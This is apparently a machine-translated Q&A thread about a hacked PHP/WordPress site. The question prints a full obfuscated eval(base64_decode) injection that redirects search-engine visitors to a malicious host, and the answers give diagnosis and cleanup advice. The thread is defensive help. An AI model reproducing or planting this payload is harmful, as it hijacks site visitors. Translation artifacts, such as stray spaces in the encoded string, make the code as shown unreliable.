恶意代码:eval(base64_decode(

时间:2012-09-25 16:25:28

标签: php hosting eval

最近我注意到一个jquery mobile - php网站创建没有加载。当我检查相关的php文件时,我可以看到一些额外的字符进入了代码。标签<?php后不久就出现了无关的字符。它是什么原因?我的网站被黑了吗?我将如何恢复所有文件?这些文件是通过控制面板登录访问的。我甚至可以看到网站文件夹外的文件,一些wp文件(wp-config.php,wp-blog-header.php等)也包含这些额外的字符。

这是找到的恶意代码 - <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVI

有人在那里,请指教。

这是完整的代码

的eval(BASE64_DECODE(“DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio / KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw / c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iK SBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcGtqbGFwb2suMWR1bWIuY29tLyIpOw0KZXhpdCgpOw0KfQp9Cn0NCn0NCn0 =“));

2 个答案:

答案 0 :(得分:3)

回答直接问题:是的,您的网站遭到黑客攻击。

eval(base64_decode(....))旨在掩盖正在执行的代码的性质,但它无法掩盖PHP文件中不存在代码的事实。

至于黑客代码的作用,我无法回答,因为你没有提供所有内容。

我也无法回答关于他们可能进入的 的任何问题,但可能的情况是,在您的系统(或您的网络托管公司的系统)的某个地方有一个软件包这有一个已知的安全漏洞。

在大多数情况下,该漏洞将由该软件的提供商修复,但被黑网站上的版本将不会使用最新修补程序进行更新,从而使黑客有机会进入。

还有其他方法可以打入网站,但这是最有可能的。

我无法告诉您哪个软件用于破解您的网站;涉及的变量太多了,我对此知之甚少。我建议您确保您负责的所有软件都是安全的并运行最新版本,并与您的托管公司核实,以确保它们完全是最新的。

您没有按名称提及Wordpress,但您指定的文件听起来像属于Wordpress。因此,恢复文件应该只是将它们更新回原始Wordpress版本的情况。但是,正如我所说,你应该确保你更新到最新的WP版本,因为它听起来像你所拥有的版本已经过时且易受攻击。

您网页中的实际数据可能已被泄露,但所描述的黑客的性质,听起来更像是PHP注入黑客,所以我希望如果您将WP文件恢复到原始状态,那么您的网页将恢复。但是,你应该彻底检查,以确保没有任何意外的东西潜伏在那里。

<强> [编辑] 现在我们有完整的代码,很容易看到它在做什么:将代码复制到一个小的PHP程序中,并用eval替换print,这样你就可以看到正在运行,而不是实际运行它。答案是它检查用户不是googlebot或类似用户,如果没有,它会将页面重定向到恶意URL。

答案 1 :(得分:2)

这是旧版WordPress和其他旧版CMS的常见问题,尤其是那些使用旧版timthumb动态操作图片的版本。

有人将该代码注入到大多数.PHP文件的顶部(至少那些用空行<?php打开的文件)。这几个月前发生在我身上。

当PHP文件打开时,eval()代码基本上是“加密”恶意PHP代码并运行它(eval使用它)。如果没有看到完整的base64字符串(并对其进行解码),就无法确定代码的作用,但如果它与我发生的注入类似,则会向您的站点添加一些JavaScript代码以将访问者重定向到恶意页面,或者以其他方式改变您网站中的链接行为。

你需要找到导致这个的洞,然后关闭它。如果它是WordPress的过时版本,请升级。检查访问日志中是否有可疑的POST查询。

我知道修复此问题的唯一方法是从包装盒上的每个PHP文件中删除PHP代码。如果每个文件中的代码相同,可以使用Linux bash命令和高级文本编辑器从多个文件中删除代码。如果没有,抓住文件,记事本和一大堆咖啡:)